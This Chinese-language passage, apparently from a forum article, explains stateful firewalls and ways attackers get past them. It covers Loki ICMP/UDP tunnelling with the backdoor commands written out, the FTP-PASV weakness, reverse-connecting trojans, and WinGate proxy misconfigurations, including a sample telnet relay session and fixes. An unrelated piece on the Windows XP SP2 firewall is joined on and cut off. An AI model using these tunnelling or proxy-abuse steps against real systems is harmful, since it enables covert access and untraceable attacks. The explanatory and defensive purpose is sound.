可是：）很多是没有实现的。到底什么是状态检测？

一句话，状态检测就是从tcp连接的建立到终止都跟踪检测的技术。

原先的包过滤，是拿一个一个单独的数据包来匹配规则的。可是我们知道，同一个tcp连接，他的数据包是前后关联的，先是syn包，-》数据包=》fin包。数据包的前后序列号是相关的。

如果割裂这些关系，单独的过滤数据包，很容易被精心够造的攻击数据包欺骗！！！如nmap的攻击扫描，就有利用syn包，fin包，reset包来探测防火墙后面的网络。！

相反，一个完全的状态检测防火墙，他在发起连接就判断，如果符合规则，就在内存登记了这个连接的状态信息（地址，port，选项。。）,后续的属于同一个连接的数据包，就不需要在检测了。直接通过。而一些精心够造的攻击数据包由于没有在内存登记相应的状态信息，都被丢弃了。这样这些攻击数据包，就不能饶过防火墙了。

说状态检测必须提到动态规则技术。在状态检测里，采用动态规则技术，原先高端口的问题就可以解决了。实现原理是：平时，防火墙可以过滤内部网络的所有端口 (1-65535),外部攻击者难于发现入侵的切入点，可是为了不影响正常的服务，防火墙一但检测到服务必须开放高端口时，如（ftp协议，irc等），防火墙在内存就可以动态地天加一条规则打开相关的高端口。等服务完成后，这条规则就又被防火墙删除。这样，既保障了安全，又不影响正常服务，速度也快。！

一般来说，完全实现了状态检测技术防火墙，智能性都比较高，一些扫描攻击还能自动的反应，因此，攻击者要很小心才不会被发现。

但是，也有不少的攻击手段对付这种防火墙的。

1 协议隧道攻击

协议隧道的攻击思想类似与VPN的实现原理，攻击者将一些恶意的攻击数据包隐藏在一些协议分组的头部，从而穿透防火墙系统对内部网络进行攻击。

例如，许多简单地允许ICMP回射请求、ICMP回射应答和UDP分组通过的防火墙就容易受到ICMP和UDP协议隧道的攻击。Loki和 lokid（攻击的客户端和服务端）是实施这种攻击的有效的工具。在实际攻击中，攻击者首先必须设法在内部网络的一个系统上安装上lokid服务端，而后攻击者就可以通过loki客户端将希望远程执行的攻击命令（对应IP分组）嵌入在ICMP或UDP包头部，再发送给内部网络服务端lokid，由它执行其中的命令，并以同样的方式返回结果。由

于许多防火墙允许ICMP和UDP分组自由出入，因此攻击者的恶意数据就能附带在正常的分组，绕过防火墙的认证，顺利地到达攻击目标主机下面的命令是用于启动lokid服务器程序：

lokid-p–I–vl

loki客户程序则如下启动：

loki–d172.29.11.191(攻击目标主机)-p–I–v1–t3

这样，lokid和loki就联合提供了一个穿透防火墙系统访问目标系统的一个后门。

2 利用FTP-pasv绕过防火墙认证的攻击

FTP-pasv攻击是针对防火墙实施入侵的重要手段之一。目前很多防火墙不能过滤这种攻击手段。如CheckPoint的Firewall-1，在监视 FTP服务器发送给客户端的包的过程中，它在每个包中寻找"227"这个字符串。如果发现这种包，将从中提取目标地址和端口，并对目标地址加以验证，通过后，将允许建立到该地址的TCP连接。

攻击者通过这个特性，可以设法连接受防火墙保护的服务器和服务。详细的描述可见：http://www.checkpoint.com/techsupport/alerts/pasvftp.html。

3 反弹木马攻击

反弹木马是对付这种防火墙的最有效的方法。攻击者在内部网络的反弹木马定时地连接外部攻击者控制的主机，由于连接是从内部发起的，防火墙（任何的防火墙）都认为是一个合法的连接，因此基本上防火墙的盲区就是这里了。防火墙不能区分木马的连接和合法的连接。

但是这种攻击的局限是：必须首先安装这个木马！！！所有的木马的第一步都是关键！！！

四 攻击代理

代理是运行在应用层的防火墙，他实质是启动两个连接，一个是客户到代理，另一个是代理到目的服务器。

实现上比较简单，和前面的一样也是根据规则过滤。由于运行在应用层速度比较慢/1

攻击代理的方法很多。

这里就以wingate为例，简单说说了。（太累了）

WinGate是目前应用非常广泛的一种Windows95/NT代理防火墙软件，内部用户可以通过一台安装有WinGate的主机访问外部网络，但是它也存在着几个安全脆弱点。

黑客经常利用这些安全漏洞获得WinGate的非授权Web、Socks和Telnet的访问，从而伪装成WinGate主机的身份对下一个攻击目标发动攻击。因此，这种攻击非常难于被跟踪和记录。

导致WinGate安全漏洞的原因大多数是管理员没有根据网络的实际情况对WinGate代理防火墙软件进行合理的设置，只是简单地从缺省设置安装完毕后就让软件运行，这就给攻击者可乘之机。

1 非授权Web访问

某些WinGate版本（如运行在NT系统下的2.1d版本）在误配置情况下，允许外部主机完全匿名地访问因特网。因此，外部攻击者就可以利用 WinGate主机来对Web服务器发动各种Web攻击（如CGI的漏洞攻击等），同时由于Web攻击的所有报文都是从80号Tcp端口穿过的，因此，很难追踪到攻击者的来源。

检测

检测WinGate主机是否有这种安全漏洞的方法如下：

1) 以一个不会被过滤掉的连接（譬如说拨号连接）连接到因特网上。

2) 把浏览器的代理服务器地址指向待测试的WinGate主机。

如果浏览器能访问到因特网，则WinGate主机存在着非授权Web访问漏洞。


2 非授权Socks访问

在WinGate的缺省配置中，Socks代理（1080号Tcp端口）同样是存在安全漏洞。与打开的Web代理（80号Tcp端口）一样，外部攻击者可以利用Socks代理访问因特网。


防范

要防止攻击WinGate的这个安全脆弱点，管理员可以限制特定服务的捆绑。在多宿主（multi homed）系统上，执行以下步骤以限定如何提供代理服务。

1选择Socks或WWWProxyServer属性。

2选择Bindings标签。

3按下ConnectionsWillBeAcceptedOnTheFollowingInterfaceOnly按钮，并指定本WinGate服务器的内部接口。

非授权Telnet访问

它是WinGate最具威胁的安全漏洞。通过连接到一个误配置的WinGate服务器的Telnet服务，攻击者可以使用别人的主机隐藏自己的踪迹，随意地发动攻击。

检测

检测WinGate主机是否有这种安全漏洞的方法如下：

1使用telnet尝试连接到一台WinGate服务器。

[root@happy/tmp]#telnet172.29.11.191

Trying172.29.11.191….

Connectedto172.29.11.191.

Escapecharacteris‘^]’.

Wingate>10.50.21.5


2如果接受到如上的响应文本，那就输入待连接到的网站。


3如果看到了该新系统的登录提示符，那么该服务器是脆弱的。

Connectedtohost10.50.21.5…Connected

SunOS5.6

Login:

对策

防止这种安全脆弱点的方法和防止非授权Socks访问的方法类似。在WinGate中简单地限制特定服务的捆绑就可以解决这个问题。一般来说，在多宿主（multihomed）系统管理员可以通过执行以下步骤来完成：

1选择TelnetSever属性。

2选择Bindings标签。

3按下ConnectionsWillBeAcceptedOnTheFollowingInterfaceOnly按钮，并指定本WinGate服务器的内部接口。


五 后话

有防火墙的攻击不单是上面的一点，我有什么写的不对的，大家指正。

一直以来，黑客都在研究攻击防火墙的技术和手段，攻击的手法和技术越来越智能化和多样化。但是就黑客攻击防火墙的过程上看，大概可以分为三类攻击。

第一类攻击防火墙的方法是探测在目标网络上安装的是何种防火墙系统并且找出此防火墙系统允许哪些服务。我们叫它为对防火墙的探测攻击。

第二类攻击防火墙的方法是采取地址欺骗、TCP序号攻击等手法绕过防火墙的认证机制，从而 对防火墙和内部网络破坏。

第三类攻击防火墙的方法是寻找、利用防火墙系统实现和设计上的安全漏洞，从而有针对性地发动攻击。这种攻击难度比较大，可是破坏性很大。

Windows XP SP2在安全方面做了重大的调整，安全设计融合到整个操作系统中，防火墙屏障、操作系统补丁和更新病毒库等理念形成一个安全体系，而防火墙是这个安全体系的第一道屏障，它提供了一个强大的保护层，可以阻止恶意用户和程序依*未经请求的传入流量攻击计算机。Windows XP SP2防火墙又称ICF（Internet Connection frewall），已经具备个人防火墙的基本功能，它是一种能够阻截所有传入的未经请求的流量的状态防火墙。这些流量既不是响应计算机请求而发送的流量（请求流量），也不是事先指定允许传入的未经请求的流量（异常流量）。这有助于使计算机更加安全，使您可以更好地控制计算机上的数据。和Windows良好的兼容性及可*性是其它个人防火墙所不能比拟的。
　　注：此文只探讨Windows 防火墙原理、功能变化以及应用过程中可能遇到问题和解决办法，不描述怎样设置Windows 防火墙，如果未特别说明，本文所提到的Windows 防火墙指Windows XP SP2防火墙。

一、使用个人防火墙还是使用Windows 防火墙

　　仅就防火墙功能而言，个人防火墙对双向流量都进行审核，拥有更复杂的控制列表，但是，Windows 防火墙只阻截所有传入的未经请求的流量，对主动请求传出的流量不作理会，这一点是它们之间最大的区别。绝大多数商业防火墙都提供了应用程序过滤功能，这一功能可以阻止未通过认证的应用程序向外发送报文，这样就可以防止病毒或木马等恶意代码同外部建立未认证的连接，同时也可以防止用户的计算机被黑客用做分布式攻击的跳板。然而，WindowsXP SP2所带的防火墙却只能对进入计算机的报文进行过滤，而不对计算机向外发出的报文进行过滤，它不对应用程序向外发送报文做任何限制。事物有其两面性，这些个人防火墙产品依据的防黑客原理通常不一样，例如Norton的Personal Firewall(个人防火墙)是基于应用程序的（Application Level）。基于应用程序的防火墙在使用上相当麻烦，因为你必须要为每一个访问Internet的程序设置策略。而随着策略的增多，防火墙的效率也逐步下降，况且过多的策略也会相互矛盾、影响，给系统安全带来漏洞。更糟糕的是，这些个人防火墙产品都非常占用系统资源。

　　比如接入网络游戏联众世界的时候，本地计算机请求连接远程服务器，这时，个人防火墙立即提示是否允许此连接通过，而Windows 防火墙对这个主动出站请求不做任何处理，也不做任何提示，好像防火墙不存在似的，所以如果入侵已经发生或间谍软件已经安装，并主动连接到外部网络，那么防火墙束手无策；如果Windows 间谍软件开放端口等待外部请求连接，那么Windows 防火墙立刻阻断连接并弹出安全警告。但这不表示Windows防火墙不安全，因为攻击多来自外部，而且